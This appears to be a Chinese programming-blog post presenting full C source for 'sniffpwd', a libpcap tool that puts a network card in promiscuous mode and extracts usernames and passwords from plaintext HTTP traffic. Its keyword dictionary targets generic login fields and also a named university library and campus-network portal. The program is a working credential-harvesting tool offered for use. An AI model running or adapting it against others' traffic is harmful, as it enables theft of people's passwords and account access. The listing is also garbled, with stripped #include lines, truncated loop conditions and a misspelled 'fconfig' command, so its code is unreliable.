热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

基于libpcap的HTTP密码嗅探程序

(原作于2017年4月19日,有删改)wireshark是很强大的抓包工具,但它并不能自动地嗅探出网络流量中的密码。所以我写了这个小程序,用于嗅探HTTP明文数据中的用户名和密码。是基

(原作于2017年4月19日,有删改)

wireshark是很强大的抓包工具,但它并不能自动地嗅探出网络流量中的密码。所以我写了这个小程序,用于嗅探HTTP明文数据中的用户名和密码。是基于libpcap的,在ubuntu中安装libpcap的命令如下:

    sudo apt-get install libpcap-dev

编译密码嗅探程序的命令是:

    gcc sniffpwd.c -o sniffpwd -lpcap

密码嗅探程序sniffpwd可以不带参数,有一个参数或两个参数。
当它不带参数时默认嗅探网卡eth0上的网络流量;
当有一个参数时,该参数为要嗅探数据的网卡名,如eth1、wlan0这样的;
当有两个参数时,第一个参数为网卡名,第二个参数为任意值,
有第二个参数存在,便指明嗅探程序工作模式为简明模式,
即只输出嗅探到的用户名、密码及目的IP、端口、URL等最基本信息,
而没有第二个参数存在,则会输出嗅探到的所有数据包的概要信息。

为了嗅探到更多网络流量,你可能需要开启自己网卡的混杂模式:

    sudo fconfig eth0 promisc

程序很简单,源代码如下:

    #include 
#include
#include
#include
#include
#include
#include
#include

//定义链路层数据包格式
typedef struct {
u_char DestMac[6];
u_char SrcMac[6];
u_char Etype[2];
}ETHHEADER;

//定义IP首部格式
typedef struct ip_hdr
{
unsigned char h_verlen;//4位首部长度,4位IP版本号
unsigned char tos;//8位服务类型TOS
unsigned short tatal_len;//16位总长度
unsigned short ident;//16位标示
unsigned short frag_and_flags;//偏移量和3位标志位
unsigned char ttl;//8位生存时间TTL
unsigned char proto;//8位协议(TCP,UDP或其他)
unsigned short checksum;//16位IP首部检验和
unsigned int sourceIP;//32位源IP地址
unsigned int destIP;//32位目的IP地址
}IPHEADER;

//定义TCP首部格式
typedef struct tcp_hdr
{
unsigned short sport;//16位源端口
unsigned short dport;//16位目的端口
unsigned int seq;//32位序列号
unsigned int ack;//32位确认号
unsigned char lenres;//4位首部长度/6位保留字
unsigned char flag;//6位标志位
unsigned short win;//16位窗口大小
unsigned short sum;//16位检验和
unsigned short urp;//16位紧急数据偏移量
}TCPHEADER;

//全局变量
int flag = 0; //是否只显示嗅探到用户名或口令的包,默认为否
long number =0; //已嗅探到的包总数

int isHTTP(char *datatcp, int len)
//判断TCP包中是否有HTTP包,通过是否包含"HTTP/"来判断
{
int i=0;

//只在TCP数据的前200字节查找
int min=200;
if(len<200){
min=len;
}
//开始查找
for(i=0;i if(datatcp[i]=='H' && i4){
if(datatcp[i+1]=='T'&&datatcp[i+2]=='T'&&datatcp[i+3]=='P'&&datatcp[i+4]=='/'){
return 1;
}
}
}
return 0;
/*
//判断TCP包中是否有HTTP包,通过是否以"HTTP/"开头来判断
if(datatcp[0]=='H' && datatcp[1]=='T' && datatcp[2]=='T' && datatcp[3]=='P' && datatcp[4]=='/'){
return 1;
}else{
return 0;
}
*/

}

void printHTTPhead(char *httphead, int len)
//打印HTTP头部信息或头部第一行(取决于全局变量flag)
//打印头部信息时遇到连续两个换行结束
{
int i;
for(i=0;i if(httphead[i]=='\r' && httphead[i+1]=='\n' && httphead[i+2]=='\r' && httphead[i+3]=='\n'){
httphead[i]='\0';
httphead[i+1]='\0';
break;
}
if( flag && httphead[i]=='\r' && httphead[i+1]=='\n'){
httphead[i]='\0';
httphead[i+1]='\0';
break;
}
}
if(httphead[0]==0x01&&httphead[1]==0x01&&httphead[2]==0x08&&httphead[3]==0x0a){
//TCP PAWS处理
//http://www.unixresources.net/linux/clf/linuxK/archive/00/00/13/92/139290.html
printf("%s", httphead+12);
}else{
printf("%s", httphead);
}
httphead[i]='\r';
httphead[i+1]='\n';
}

int findPasswd(char *data, int len){
//从HTTP包的数据部分寻找可能存在的用户名和密码,返回找到的个数
//密码可能在URL里,COOKIE里,HTTP数据里,只能在整个http报文中匹配
int i=0, j=0, min=200;
int p=0; //在data中的总偏移,用于防止修改非法地址的值
int num=0; //嗅探到的用户名或口令个数
char temp;
char * next;
char * start;
char * keyword[] = { //字典,本程序核心技术所在
"username=", //最常见的
"password=", //最常见的
"passwd=", //最常见的
"number=", //我曾经用过的
"user=", //这是我瞎想的
"yOnghuming=", //汉语拼音
"mima=", //汉语拼音
"userid=", //织梦cms
"pwd", //织梦cms
"account=", //知乎的,虽然它加密了
"TxtName", //华科图书馆
"TxtPassword", //华科图书馆
"EPORTAL_COOKIE_USERNAME=", //校园网
"EPORTAL_COOKIE_PASSWORD=", //校园网
};
int l=sizeof(keyword) / sizeof(keyword[0]);

/* 由于TCP首部是变长的,传来的data可能包含有部分TCP首部数据,并不一定是HTTP数据
故先查找字符串"HTTP/"或"POST"或"GET",从这个字符串后匹配用户名密码*/

for(i=0;i if(data[i]=='H' && i4){
if(data[i+1]=='T' && data[i+2]=='T' && data[i+3]=='P' && data[i+4]=='/'){
start = data+i;
break;
}
}
if(data[i]=='G' && i3){
if(data[i+1]=='E' && data[i+2]=='T'){
start = data+i;
break;
}
}
if(data[i]=='P' && i4){
if(data[i+1]=='O' && data[i+2]=='S' && data[i+3]=='T'){
start = data+i;
break;
}
}
}

/* 依次匹配每个关键词 */
for(i=0;i next = start;
p = 0;
while( next = strstr(next, keyword[i]) ){ //一个关键词可能出现多次
j=0;
while(next[j]!='\n' && next[j]!='\r' && next[j]!='&' && next[j]!=';' && next[j]!=' '){
//若密码中出现了空格和分号,会被自动转码为+和%%3B,而密码中的+会被自动转码为%2B
if(p>=len){
break;
}
j++;
p++;
}
temp = next[j];
next[j] = '\0';
if(num==0){
printf("**********口令嗅探结果***********");
}
printf("\n%s", next);
num++;
next[j] = temp;
next = next + j;
}
}
return num;
}

void pcap_handle(u_char* user,const struct pcap_pkthdr* header,const u_char* pkt_data)
//pcap_loop回调函数
{
/* 声明变量 */
int off,ret;
time_t timep;
char * datatcp;
char szSourceIP[MAX_ADDR_LEN*2], szDestIP[MAX_ADDR_LEN*2]; //源IP和目的IP
struct sockaddr_in saSource, saDest; //源地址结构体,目的地址结构体

/* 设置各种头指针 */
if(header->len<sizeof(ETHHEADER)) return; //数据帧长度小于以太网头,不做处理
IPHEADER *pIpheader=(IPHEADER*)(pkt_data+sizeof(ETHHEADER));
TCPHEADER *pTcpheader = (TCPHEADER*)(pkt_data + sizeof(ETHHEADER) + sizeof(IPHEADER));
if(pIpheader->proto!=6) return; //只处理TCP数据
off = sizeof(IPHEADER) + sizeof(TCPHEADER) + sizeof(ETHHEADER);
datatcp = (unsigned char *)pkt_data + off;

if(isHTTP(datatcp, header->len-off)){
/* 若是HTTP报文 */

number ++;

//打印嗅探结果
ret = findPasswd(datatcp, header->len-off);
if(ret==0 && flag==0){
//没有嗅探到任何口令
printf("**********口令嗅探结果***********");
printf("\n没有嗅探到任何口令");
}else if(ret>0 && !flag){
printf("\n共嗅探到%d个用户名或口令", ret);
}

//flag为1时跳过未嗅探到口令的包
if(ret==0 && flag) return;

// 解析IP地址
saSource.sin_addr.s_addr = pIpheader->sourceIP;
strcpy(szSourceIP, inet_ntoa(saSource.sin_addr));
saDest.sin_addr.s_addr = pIpheader->destIP;
strcpy(szDestIP, inet_ntoa(saDest.sin_addr));

if(!flag){
//打印全部信息
time (&timep);
printf("\n**********数据包信息***********");
printf("\n数据包编号: %ld", number);
printf("\n数据包长度: %d", header->len);
printf("\n捕获时间: %s", asctime(localtime(&timep)));
printf("**********IP协议头部***********");
printf("\n标示: %i", ntohs(pIpheader->ident));
printf("\n总长度: %i", ntohs(pIpheader->tatal_len));
printf("\n偏移量: %i", ntohs(pIpheader->frag_and_flags));
printf("\n生存时间: %d",pIpheader->ttl);
printf("\n服务类型: %d",pIpheader->tos);
printf("\n协议类型: %d",pIpheader->proto);
printf("\n检验和: %i", ntohs(pIpheader->checksum));
printf("\n源IP: %s", szSourceIP);
printf("\n目的IP: %s", szDestIP);
printf("\n**********TCP协议头部***********");
printf("\n源端口: %i", ntohs(pTcpheader->sport));
printf("\n目的端口: %i", ntohs(pTcpheader->dport));
printf("\n序列号: %i", ntohs(pTcpheader->seq));
printf("\n应答号: %i", ntohs(pTcpheader->ack));
printf("\n检验和: %i", ntohs(pTcpheader->sum));

//打印HTTP头部信息
printf("\n**********HTTP协议头部***********\n");
printHTTPhead(datatcp, header->len-off);
}
else{
//只打印必须的信息(必须是指能识别出具体发往哪个网页)
printf("\n源IP: %s, 目的: %s:%i\t", szSourceIP, szDestIP, ntohs(pTcpheader->dport));
printHTTPhead(datatcp, header->len-off);
}
//额外的换行
printf("\n\n");
}

/*
//显示数据帧内容
int i;
for(i=0; i<(int)header->len; ++i) {
printf(" %02x", pkt_data[i]);
if( (i + 1) % 16 == 0 )
printf("\n");
}
*/

}

int main(int argc, char** argv)
{
/* 声明变量 */
int id = 0;
char errpkt_data[1024];
char *dev="eth0";
bpf_u_int32 ipmask=0;
struct bpf_program fcode;
struct pcap_pkthdr packet;

/* 处理参数 */
if(argc==2){
dev = argv[1]; //指定网卡
}
else if(argc==3){
dev = argv[1]; //指定网卡
flag = 1; //只显示嗅探到用户名或口令的包
}

/* 打开网络设备 */
pcap_t* device=pcap_open_live(dev, 65535, 1, 0, errpkt_data);
if(!device){
printf("%s\n", errpkt_data);
return 1;
}

/* 设置过滤规则,只抓取TCP包 */
if(pcap_compile(device, &fcode, "tcp", 0, ipmask)==-1){
printf("%s\n", pcap_geterr(device));
}
if(pcap_setfilter(device, &fcode)==-1){
printf("%s\n", pcap_geterr(device));
return 1;
}

/* 开始抓包 */
pcap_loop(device, -1, pcap_handle, (u_char*)&id);
return 0;
}

推荐阅读
  • 在CentOS/RHEL 7/6,Fedora 27/26/25上安装JAVA 9的步骤和方法
    本文介绍了在CentOS/RHEL 7/6,Fedora 27/26/25上安装JAVA 9的详细步骤和方法。首先需要下载最新的Java SE Development Kit 9发行版,然后按照给出的Shell命令行方式进行安装。详细的步骤和方法请参考正文内容。 ... [详细]
  • 本文介绍了深入浅出Linux设备驱动编程的重要性,以及两种加载和删除Linux内核模块的方法。通过一个内核模块的例子,展示了模块的编译和加载过程,并讨论了模块对内核大小的控制。深入理解Linux设备驱动编程对于开发者来说非常重要。 ... [详细]
  • linux进阶50——无锁CAS
    1.概念比较并交换(compareandswap,CAS),是原⼦操作的⼀种,可⽤于在多线程编程中实现不被打断的数据交换操作࿰ ... [详细]
  • 本文介绍了在Ubuntu系统中清理残余配置文件和无用内容的方法,包括清理残余配置文件、清理下载缓存包、清理不再需要的包、清理无用的语言文件和清理无用的翻译内容。通过这些清理操作可以节省硬盘空间,提高系统的运行效率。 ... [详细]
  • 程序员如何选择机械键盘轴体?红轴和茶轴对比
    本文介绍了程序员如何选择机械键盘轴体,特别是红轴和茶轴的对比。同时还介绍了U盘安装Linux镜像的步骤,以及在Linux系统中安装软件的命令行操作。此外,还介绍了nodejs和npm的安装方法,以及在VSCode中安装和配置常用插件的方法。最后,还介绍了如何在GitHub上配置SSH密钥和git的基本配置。 ... [详细]
  • Ubuntu 用户安装 Linux Kernel 3.15 RC1
    nsitionalENhttp:www.w3.orgTRxhtml1DTDxhtml1-transitional.dtd ... [详细]
  • 201720181 20155339 《信息安全系统设计基础》第六周学习总结
    2017-2018-120155339《信息安全系统设计基础》第六周学习总结教材学习内容总结控制转移:从ak指令到a(k1)指令的过渡。控制转移序列称为处理器的控制流 ... [详细]
  • CentOS7系统目录LINUX有四种基本文件系统类型普通文件:如文本文件、C语言元代码、SHELL脚本、二进制的可执行文件等,可用cat、less、 ... [详细]
  • 本文主要解析了Open judge C16H问题中涉及到的Magical Balls的快速幂和逆元算法,并给出了问题的解析和解决方法。详细介绍了问题的背景和规则,并给出了相应的算法解析和实现步骤。通过本文的解析,读者可以更好地理解和解决Open judge C16H问题中的Magical Balls部分。 ... [详细]
  • Linux环境变量函数getenv、putenv、setenv和unsetenv详解
    本文详细解释了Linux中的环境变量函数getenv、putenv、setenv和unsetenv的用法和功能。通过使用这些函数,可以获取、设置和删除环境变量的值。同时给出了相应的函数原型、参数说明和返回值。通过示例代码演示了如何使用getenv函数获取环境变量的值,并打印出来。 ... [详细]
  • 本文介绍了南邮ctf-web的writeup,包括签到题和md5 collision。在CTF比赛和渗透测试中,可以通过查看源代码、代码注释、页面隐藏元素、超链接和HTTP响应头部来寻找flag或提示信息。利用PHP弱类型,可以发现md5('QNKCDZO')='0e830400451993494058024219903391'和md5('240610708')='0e462097431906509019562988736854'。 ... [详细]
  • mac php错误日志配置方法及错误级别修改
    本文介绍了在mac环境下配置php错误日志的方法,包括修改php.ini文件和httpd.conf文件的操作步骤。同时还介绍了如何修改错误级别,以及相应的错误级别参考链接。 ... [详细]
  • 如何提高PHP编程技能及推荐高级教程
    本文介绍了如何提高PHP编程技能的方法,推荐了一些高级教程。学习任何一种编程语言都需要长期的坚持和不懈的努力,本文提醒读者要有足够的耐心和时间投入。通过实践操作学习,可以更好地理解和掌握PHP语言的特异性,特别是单引号和双引号的用法。同时,本文也指出了只走马观花看整体而不深入学习的学习方式无法真正掌握这门语言,建议读者要从整体来考虑局部,培养大局观。最后,本文提醒读者完成一个像模像样的网站需要付出更多的努力和实践。 ... [详细]
  • 第四讲ApacheLAMP服务器基本配置Apache的编译安装从Apache的官方网站下载源码包:http:httpd.apache.orgdownload.cgi今 ... [详细]
  • 【技术分享】一个 ELF 蠕虫分析
    【技术分享】一个 ELF 蠕虫分析 ... [详细]
author-avatar
星宇ooo
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有